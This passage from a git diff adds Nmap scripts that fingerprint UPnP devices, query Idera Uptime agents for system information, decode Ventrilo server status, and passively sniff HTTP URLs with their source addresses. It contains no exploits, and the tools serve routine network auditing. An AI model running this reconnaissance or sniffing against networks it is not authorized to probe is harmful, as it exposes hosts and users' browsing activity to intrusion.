+ status, svc_table = datafiles.parse_services()
+ if not status then
+ return false --Can't check if we don't have a table!
+ end
+ return true
+end
+
+hostrule = function() return true end
+
+-- the hostrule is only needed to warn
+hostaction = function(host)
+ local port, state = nil, "open"
+ local is_version_scan = false
+
+ -- iterate over ports and check whether name_confidence > 3 this would
+ -- suggest that a version scan has been run
+ for _, proto in ipairs({"tcp", "udp"}) do
+ repeat
+ port = nmap.get_ports(host, port, proto, state)
+ if ( port and port.version.name_confidence > 3 ) then
+ is_version_scan = true
+ break
+ end
+ until( not(port) )
+ end
+
+ -- if no version scan has been run, warn the user as the script requires a
+ -- version scan in order to work.
+ if ( not(is_version_scan) ) then
+ return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
+ end
+
+end
+
+portchecks = {
+
+ ['tcp'] = {
+ [113] = function(host, port) return ( port.service == "ident" ) end,
+ [445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
+ [587] = function(host, port) return ( port.service == "smtp" ) end,
+ [593] = function(host, port) return ( port.service == "ncacn_http" ) end,
+ [636] = function(host, port) return ( port.service == "ldapssl" ) end,
+ [3268] = function(host, port) return ( port.service == "ldap" ) end,
+ },
+
+ ['udp'] = {
+ [5353] = function(host, port) return ( port.service == "mdns" ) end,
+ }
+
+}
+
+servicechecks = {
+ ['http'] = function(host, port)
+ local service = port.service
+ port.service = "unknown"
+ local status = shortport.http(host, port)
+ port.service = service
+ return status
+ end,
+
+ -- accept msrpc on any port for now, we might want to limit it to certain
+ -- port ranges in the future.
+ ['msrpc'] = function(host, port) return true end,
+
+ -- accept ncacn_http on any port for now, we might want to limit it to
+ -- certain port ranges in the future.
+ ['ncacn_http'] = function(host, port) return true end,
+}
+
+portaction = function(host, port)
+ local ok = false
+
+ if ( port.version.name_confidence <= 3 ) then
+ return
+ end
+ if ( portchecks[port.protocol][port.number] ) then
+ ok = portchecks[port.protocol][port.number](host, port)
+ end
+ if ( not(ok) and servicechecks[port.service] ) then
+ ok = servicechecks[port.service](host, port)
+ end
+ if ( not(ok) and port.service and
+ ( port.service == svc_table[port.protocol][port.number] or
+ "unknown" == svc_table[port.protocol][port.number] or
+ not(svc_table[port.protocol][port.number]) ) ) then
+ ok = true
+ end
+ if ( not(ok) ) then
+ return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
+ end
+end
+
+local Actions = {
+ hostrule = hostaction,
+ portrule = portaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return Actions[SCRIPT_TYPE](...) end
diff --git a/scripts/upnp-info.nse b/scripts/upnp-info.nse
new file mode 100644
index 0000000..92efaad
--- /dev/null
+++ b/scripts/upnp-info.nse
@@ -0,0 +1,55 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local upnp = require "upnp"
+
+description = [[
+Attempts to extract system information from the UPnP service.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 1900 --script=upnp-info <target>
+-- @output
+-- | upnp-info: System/1.0 UPnP/1.0 IGD/1.0
+-- |_ Location: http://192.168.1.1:80/UPnP/IGD.xml
+--
+-- @args upnp-info.override Controls whether we override the IP address information
+-- returned by the UPNP service for the location of the XML
+-- file that describes the device. Defaults to true for
+-- unicast hosts.
+
+-- 2010-10-05 - add prerule support <patrik@cqure.net>
+-- 2010-10-10 - add newtarget support <patrik@cqure.net>
+-- 2010-10-29 - factored out all of the code to upnp.lua <patrik@cqure.net>
+
+author = "Thomas Buchanan"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+
+---
+-- Runs on UDP port 1900
+portrule = shortport.portnumber(1900, "udp", {"open", "open|filtered"})
+
+---
+-- Sends UPnP discovery packet to host,
+-- and extracts service information from results
+action = function(host, port)
+ local override = stdnse.get_script_args("upnp-info.override")
+ local helper = upnp.Helper:new( host, port )
+ if ( override ~= nil ) and ( string.lower(override) == "false" ) then
+ helper:setOverride( false )
+ else
+ helper:setOverride( true )
+ end
+ local status, result = helper:queryServices()
+
+ if ( status ) then
+ nmap.set_port_state(host, port, "open")
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/uptime-agent-info.nse b/scripts/uptime-agent-info.nse
new file mode 100644
index 0000000..daaccf3
--- /dev/null
+++ b/scripts/uptime-agent-info.nse
@@ -0,0 +1,95 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local oops = require "oops"
+
+description = [[
+Gets system information from an Idera Uptime Infrastructure Monitor agent.
+]]
+
+---
+-- @usage
+-- nmap --script uptime-agent-info -p 9998 <target>
+--
+-- @output
+-- 9998/tcp open uptime-agent syn-ack
+-- | uptime-agent-info: SYSNAME=system123
+-- | DOMAIN=(none)
+-- | ARCH="Linux system123 3.12.51-60.20-default #1 SMP Fri Dec 11 12:01:38 UTC 2015 (1ca22d2) x86_64 x86_64 x86_64 GNU/Linux"
+-- | OSVER="SUSE Linux Enterprise Server 12 (x86_64) 1 # This file is deprecated and will be removed in a future service pack or release. # Please check /etc/os-release for details about this release. ( 3.12.51-60.20-default x86_64)"
+-- | NUMCPUS=2
+-- | MEMSIZE=8082576
+-- | PAGESIZE=3072
+-- | SWAPSIZE=1532924
+-- | GPGSLO=0
+-- | VXVM=""
+-- | SDS=""
+-- | LVM="NO"
+-- | HOSTID=15ad9120
+-- | CPU0=" 0 0 0 2299.998 5 Intel(R)Xeon(R) 0 "
+-- | CPU1=" 1 0 0 2299.998 5 Intel(R)Xeon(R) 0 "
+-- | NET0=eth0=172.20.16.146
+-- | VMWARE=1
+-- |_VMUUID=721cce31748ff113b33959b8d14380b9
+-- Service Info: Host: system123
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "default"}
+
+portrule = require "shortport".port_or_service(9998, "uptime-agent")
+
+action = function(host, port)
+ -- Ref: https://github.com/uptimesoftware/uptime-openvms-agent/blob/master/uptime-agent.c
+ -- Possible commands:
+ -- * ver - get up.time version
+ -- * sysinfo - lots of info
+ -- * df-k - disk usage
+ -- * sadc_cpu - unknown, but used as connectivity test in online docs
+ -- * mpstat - CPU usage
+ -- * netstat - Network interface stats
+ -- * tcpinfo - unknown
+ -- * psinfo - process info
+ -- * whoin - unknown
+ -- * sadc_disk - unknown
+ -- * rexec - execute a command, requires password. Syntax: rexec pass command args
+
+ local set_port_version = false
+ -- Expect about 18 lines, but multiple CPUs can lead to more. Data is sent
+ -- line-buffered, so if we guess low, we only get that many lines. Better to
+ -- guess high and suffer the timeout.
+ local status, info = oops.raise("Error getting system info",
+ comm.exchange(host, port, "sysinfo\n", {lines=30}))
+ if not status then
+ return info
+ end
+
+ local hostname = info:match("SYSNAME=([%w_-.]+)")
+ if hostname then
+ set_port_version = true
+ port.version.hostname = hostname
+ end
+
+ -- If version detection didn't get it, try to get the up.time version
+ if not port.version.version then
+ local status, response = comm.exchange(host, port, "ver\n")
+ if status then
+ local ver = response:match("^up%.time agent ([%d.]+)")
+ if ver then
+ port.version.name = "uptime-agent"
+ port.version.product = "Idera Uptime Infrastructure Monitor"
+ port.version.version = ver
+ local cpe = port.version.cpe or {}
+ cpe[#cpe+1] = ("cpe:/a:idera:uptime_infrastructure_monitor:%s"):format(ver)
+ port.version.cpe = cpe
+ set_port_version = true
+ end
+ end
+ end
+
+ if set_port_version then
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+ return info
+end
diff --git a/scripts/url-snarf.nse b/scripts/url-snarf.nse
new file mode 100644
index 0000000..473eb00
--- /dev/null
+++ b/scripts/url-snarf.nse
@@ -0,0 +1,146 @@
+local io = require "io"
+local nmap = require "nmap"
+local os = require "os"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local url = require "url"
+
+description=[[
+Sniffs an interface for HTTP traffic and dumps any URLs, and their
+originating IP address. Script output differs from other script as
+URLs are written to stdout directly. There is also an option to log
+the results to file.
+
+The script can be limited in time by using the timeout argument or run until a
+ctrl+break is issued, by setting the timeout to 0.
+]]
+
+---
+-- @usage
+-- nmap --script url-snarf -e <interface>
+--
+-- @output
+-- | url-snarf:
+-- |_ Sniffed 169 URLs in 5 seconds
+--
+-- @args url-snarf.timeout runs the script until the timeout is reached.
+-- a timeout of 0s can be used to run until ctrl+break. (default: 30s)
+-- @args url-snarf.nostdout doesn't write any output to stdout while running
+-- @args url-snarf.outfile filename to which all discovered URLs are written
+-- @args url-snarf.interface interface on which to sniff (overrides <code>-e</code>)
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe"}
+
+
+local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+
+prerule = function()
+ local has_interface = ( arg_iface ~= nil )
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ if ( not(has_interface) ) then
+ stdnse.verbose1("no network interface was supplied, aborting ...")
+ return false
+ end
+ return true
+end
+
+-- we should probably leverage code from the http library, but those functions
+-- are all declared local.
+local function get_url(data)
+
+ local headers, body = table.unpack(stringaux.strsplit("\r\n\r\n", data))
+ if ( not(headers) ) then
+ return
+ end
+ headers = stringaux.strsplit("\r\n", headers)
+ if ( not(headers) or 1 > #headers ) then
+ return
+ end
+ local parsed = {}
+ parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
+ if ( not(parsed.path) ) then
+ return
+ end
+ for _, v in ipairs(headers) do
+ parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
+ if ( parsed.host ) then
+ break
+ end
+ end
+ if ( not(parsed.host) ) then
+ return
+ end
+ parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
+ parsed.scheme = "http"
+ local u = url.build(parsed)
+ if ( not(u) ) then
+ return
+ end
+ return u
+end
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+arg_timeout = arg_timeout or 30
+local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout")
+local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
+
+local function log_entry(src_ip, url)
+ local outfd = io.open(arg_outfile, "a")
+ if ( outfd ) then
+ local entry = ("%s\t%s\r\n"):format(src_ip, url)
+ outfd:write(entry)
+ outfd:close()
+ end
+end
+
+action = function()
+ local counter = 0
+
+ if ( arg_outfile ) then
+ local outfd = io.open(arg_outfile, "a")
+ if ( not(outfd) ) then
+ return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
+ end
+ outfd:close()
+ end
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(1000)
+ socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
+
+ local start, stop = os.time()
+ repeat
+ local status, len, _, l3 = socket:pcap_receive()
+ if ( status ) then
+ local p = packet.Packet:new( l3, #l3 )
+ local pos = p.tcp_data_offset + 1
+ local http_data = p.buf:sub(pos)
+
+ local url = get_url(http_data)
+ if ( url ) then
+ counter = counter + 1
+ if ( not(arg_nostdout) ) then
+ print(p.ip_src, url)
+ end
+ if ( arg_outfile ) then
+ log_entry(p.ip_src, url)
+ end
+ end
+ end
+ if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
+ stop = os.time()
+ break
+ end
+ until(false)
+ if ( counter > 0 ) then
+ return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
+ end
+end
diff --git a/scripts/ventrilo-info.nse b/scripts/ventrilo-info.nse
new file mode 100644
index 0000000..1b7e11d
--- /dev/null
+++ b/scripts/ventrilo-info.nse
@@ -0,0 +1,665 @@
+local stdnse = require "stdnse"
+local math = require "math"
+local nmap = require "nmap"
+local strbuf = require "strbuf"
+local string = require "string"
+local table = require "table"
+local shortport = require "shortport"
+
+description = [[
+Detects the Ventrilo voice communication server service versions 2.1.2
+and above and tries to determine version and configuration
+information. Some of the older versions (pre 3.0.0) may not have the
+UDP service that this probe relies on enabled by default.
+
+The Ventrilo server listens on a TCP (voice/control) and an UDP (ping/status)
+port with the same port number (fixed to 3784 in the free version, otherwise
+configurable). This script activates on both a TCP and UDP port version scan.
+In both cases probe data is sent only to the UDP port because it allows for a
+simple and informative status command as implemented by the
+<code>ventrilo_status.exe</code> executable which has shipped alongside the Windows server
+package since version 2.1.2 when the UDP status service was implemented.
+
+When run as a version detection script (<code>-sV</code>), the script will report on the
+server version, name, uptime, authentication scheme, and OS. When run
+explicitly (<code>--script ventrilo-info</code>), the script will additionally report on the
+server name phonetic pronunciation string, the server comment, maximum number
+of clients, voice codec, voice format, channel and client counts, and details
+about channels and currently connected clients.
+
+Original reversing of the protocol was done by Luigi Auriemma
+(http://aluigi.altervista.org/papers.htm#ventrilo).
+]]
+
+---
+-- @usage
+-- nmap -sV <target>
+-- @usage
+-- nmap -Pn -sU -sV --script ventrilo-info -p <port> <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 9408/tcp open ventrilo Ventrilo 3.0.3.C (voice port; name: TypeFrag.com; uptime: 152h:56m; auth: pw)
+-- | ventrilo-info:
+-- | name: TypeFrag.com
+-- | phonetic: Type Frag Dot Com
+-- | comment: http://www.typefrag.com/
+-- | auth: pw
+-- | max. clients: 100
+-- | voice codec: 3,Speex
+-- | voice format: 32,32 KHz%2C 16 bit%2C 10 Qlty
+-- | uptime: 152h:56m
+-- | platform: WIN32
+-- | version: 3.0.3.C
+-- | channel count: 14
+-- | channel fields: CID, PID, PROT, NAME, COMM
+-- | client count: 6
+-- | client fields: ADMIN, CID, PHAN, PING, SEC, NAME, COMM
+-- | channels:
+-- | <top level lobby> (CID: 0, PID: n/a, PROT: n/a, COMM: n/a): <empty>
+-- | Group 1 (CID: 719, PID: 0, PROT: 0, COMM: ):
+-- | stabya (ADMIN: 0, PHAN: 0, PING: 47, SEC: 206304, COMM:
+-- | Group 2 (CID: 720, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 3 (CID: 721, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 4 (CID: 722, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 5 (CID: 723, PID: 0, PROT: 0, COMM: ):
+-- | Sir Master Win (ADMIN: 0, PHAN: 0, PING: 32, SEC: 186890, COMM:
+-- | waterbukk (ADMIN: 0, PHAN: 0, PING: 31, SEC: 111387, COMM:
+-- | likez (ADMIN: 0, PHAN: 0, PING: 140, SEC: 22457, COMM:
+-- | Tweet (ADMIN: 0, PHAN: 0, PING: 140, SEC: 21009, COMM:
+-- | Group 6 (CID: 724, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Raid (CID: 725, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Officers (CID: 726, PID: 0, PROT: 1, COMM: ): <empty>
+-- | PG 13 (CID: 727, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Rated R (CID: 728, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 7 (CID: 729, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 8 (CID: 730, PID: 0, PROT: 0, COMM: ): <empty>
+-- | Group 9 (CID: 731, PID: 0, PROT: 0, COMM: ): <empty>
+-- | AFK - switch to this when AFK (CID: 732, PID: 0, PROT: 0, COMM: ):
+-- |_ Eisennacher (ADMIN: 0, PHAN: 0, PING: 79, SEC: 181948, COMM:
+-- Service Info: OS: WIN32
+--
+-- @xmloutput
+-- <elem key="phonetic">Type Frag Dot Com</elem>
+-- <elem key="comment">http://www.typefrag.com/</elem>
+-- <elem key="auth">1</elem>
+-- <elem key="maxclients">100</elem>
+-- <elem key="voicecodec">3,Speex</elem>
+-- <elem key="voiceformat">32,32 KHz%2C 16 bit%2C 10 Qlty</elem>
+-- <elem key="uptime">551533</elem>
+-- <elem key="platform">WIN32</elem>
+-- <elem key="version">3.0.3.C</elem>
+-- <elem key="channelcount">14</elem>
+-- <table key="channelfields">
+-- <elem>CID</elem>
+-- <elem>PID</elem>
+-- <elem>PROT</elem>
+-- <elem>NAME</elem>
+-- <elem>COMM</elem>
+-- </table>
+-- <table key="channels">
+-- <table key="0">
+-- <elem key="NAME">&lt;top level lobby&gt;</elem>
+-- <elem key="CID">0</elem>
+-- </table>
+-- <table key="363">
+-- <elem key="CID">363</elem>
+-- <elem key="PID">0</elem>
+-- <elem key="PROT">0</elem>
+-- <elem key="NAME">Group 1</elem>
+-- <elem key="COMM"></elem>
+-- <table key="clients">
+-- <table>
+-- <elem key="ADMIN">0</elem>
+-- <elem key="CID">363</elem>
+-- <elem key="PHAN">0</elem>
+-- <elem key="PING">47</elem>
+-- <elem key="SEC">207276</elem>
+-- <elem key="NAME">stabya</elem>
+-- <elem key="COMM"></elem>
+-- </table>
+-- </table>
+-- </table>
+-- <!-- Channels other than the first and last cut for brevity -->
+-- <table key="376">
+-- <elem key="CID">376</elem>
+-- <elem key="PID">0</elem>
+-- <elem key="PROT">0</elem>
+-- <elem key="NAME">AFK - switch to this when AFK</elem>
+-- <elem key="COMM"></elem>
+-- <table key="clients">
+-- <table>
+-- <elem key="ADMIN">0</elem>
+-- <elem key="CID">376</elem>
+-- <elem key="PHAN">0</elem>
+-- <elem key="PING">78</elem>
+-- <elem key="SEC">182920</elem>
+-- <elem key="NAME">Eisennacher</elem>
+-- <elem key="COMM"></elem>
+-- </table>
+-- </table>
+-- </table>
+-- </table>
+-- <elem key="clientcount">6</elem>
+-- <table key="clientfields">
+-- <elem>ADMIN</elem>
+-- <elem>CID</elem>
+-- <elem>PHAN</elem>
+-- <elem>PING</elem>
+-- <elem>SEC</elem>
+-- <elem>NAME</elem>
+-- <elem>COMM</elem>
+-- </table>
+
+author = "Marin Maržić"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "default", "discovery", "safe", "version" }
+
+local crypt_head = {
+ 0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
+ 0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
+ 0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
+ 0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
+ 0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
+ 0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
+ 0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
+ 0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
+ 0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
+ 0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
+ 0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
+ 0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
+ 0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
+ 0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
+ 0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
+ 0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
+}
+
+local crypt_data = {
+ 0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
+ 0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
+ 0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
+ 0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
+ 0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
+ 0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
+ 0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
+ 0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
+ 0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
+ 0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
+ 0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
+ 0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
+ 0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
+ 0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
+ 0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
+ 0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
+}
+
+local crypt_crc = {
+ 0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
+ 0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
+ 0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
+ 0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
+ 0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
+ 0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
+ 0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
+ 0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
+ 0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
+ 0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
+ 0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
+ 0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
+ 0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
+ 0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
+ 0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
+ 0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
+ 0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
+ 0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
+ 0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
+ 0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
+ 0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
+ 0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
+ 0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
+ 0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
+ 0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
+ 0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
+ 0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
+ 0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
+ 0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
+ 0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
+ 0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
+ 0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
+}
+
+-- The probe payload is static as it has proven to be unnecessary to forge a new
+-- one every time. The data used includes the following parameters:
+-- cmd = 2, password = 0, header len = 20, data len = 16, totlen = 36
+-- static 2 byte status request id (time(NULL) in the original protocol)
+local static_probe_id = 0x33CF
+local static_probe_payload = "\x49\xde\xdf\xd0\x65\xc9\x21\xc4\x90\x0d\xbf\x23\xa2\xc8\x8b\x65\x7d\x43\x15\x9b\x30\xc2\xe2\x23\xd2\x13\xe3\x29\xad\xe8\x63\xff\x17\x31\x33\x50"
+
+-- Returns a string interpretation of the server authentication scheme.
+-- @param auth the server authentication scheme code
+-- @return string string interpretation of the server authentication scheme
+local auth_str = function(auth)
+ if auth == "0" then
+ return "none"
+ elseif auth == "1" then
+ return "pw"
+ elseif auth == "2" then
+ return "user/pw"
+ else
+ return auth
+ end
+end
+
+-- Formats an uptime string containing a number of seconds.
+-- E.g. "3670" -> "1h:1m"
+-- @param uptime number of seconds of uptime
+-- @return uptime_formatted formatted uptime string (hours and minutes)
+local uptime_str = function(uptime)
+ local uptime_num = tonumber(uptime)
+ if not uptime_num then
+ return uptime
+ end
+
+ local h = math.floor(uptime_num/3600)
+ local m = math.floor((uptime_num - h*3600)/60)
+
+ return h .. "h:" .. m .. "m"
+end
+
+-- Decrypts the Ventrilo UDP status response header segment.
+-- @param str the Ventrilo UDP status response
+-- @return id status request id as sent by us
+-- @return len length of the data segment of the response
+-- @return totlen total length of data segments of all response packets
+-- @return pck response packet number (starts with 0)
+-- @return totpck total number of response packets to expect
+-- @return key key for decrypting the data segment of this response packet
+-- @return crc_sum the crc checksum of the full response data segment
+local dec_head = function(str)
+ local head = { string.byte(str, 1, 20) }
+
+ head[1], head[2] = head[2], head[1]
+ local a1 = head[1]
+ if a1 == 0 then
+ return table.concat(head)
+ end
+ local a2 = head[2]
+
+ for i = 3,20 do
+ head[i] = head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)) & 0xFF
+ a2 = (a2 + a1) & 0xFF
+ end
+
+ for i = 3,19,2 do
+ head[i], head[i + 1] = head[i + 1], head[i]
+ end
+
+ local id = head[7] + (head[8] << 8)
+ local totlen = head[9] + (head[10] << 8)
+ local len = head[11] + (head[12] << 8)
+ local totpck = head[13] + (head[14] << 8)
+ local pck = head[15] + (head[16] << 8)
+ local key = head[17] + (head[18] << 8)
+ local crc_sum = head[19] + (head[20] << 8)
+
+ return id, len, totlen, pck, totpck, key, crc_sum
+end
+
+-- Decrypts the Ventrilo UDP status response data segment.
+-- @param str the Ventrilo UDP status response
+-- @param len length of the data segment of this response packet
+-- @param key key for decrypting the data segment
+local dec_data = function(str, len, key)
+ -- skip the header (first 20 bytes)
+ local data = { string.byte(str, 21, 20 + len) }
+
+ local a1 = key & 0xFF
+ if a1 == 0 then
+ return table.concat(data)
+ end
+ local a2 = key >> 8
+
+ for i = 1,len do
+ data[i] = data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)) & 0xFF
+ a2 = (a2 + a1) & 0xFF
+ end
+
+ return string.char(table.unpack(data))
+end
+
+-- Convenient wrapper for string.find(...). Returns the position of the end of
+-- the match, or the previous starting position if no match was found. Also
+-- returns the first capture, or "n/a" if one was not found.
+-- @param str the string to search
+-- @param pattern the pattern to apply for the search
+-- @param pos the starting position of the search
+-- @return newpos position of the end of the match, or pos if no match found
+-- @return cap the first capture, or "n/a" if one was not found
+local str_find = function(str, pattern, pos)
+ local _, newpos, cap = string.find(str, pattern, pos)
+ return newpos or pos, cap or "n/a"
+end
+
+-- Calculates the CRC checksum used for checking the integrity of the received
+-- status response data segment.
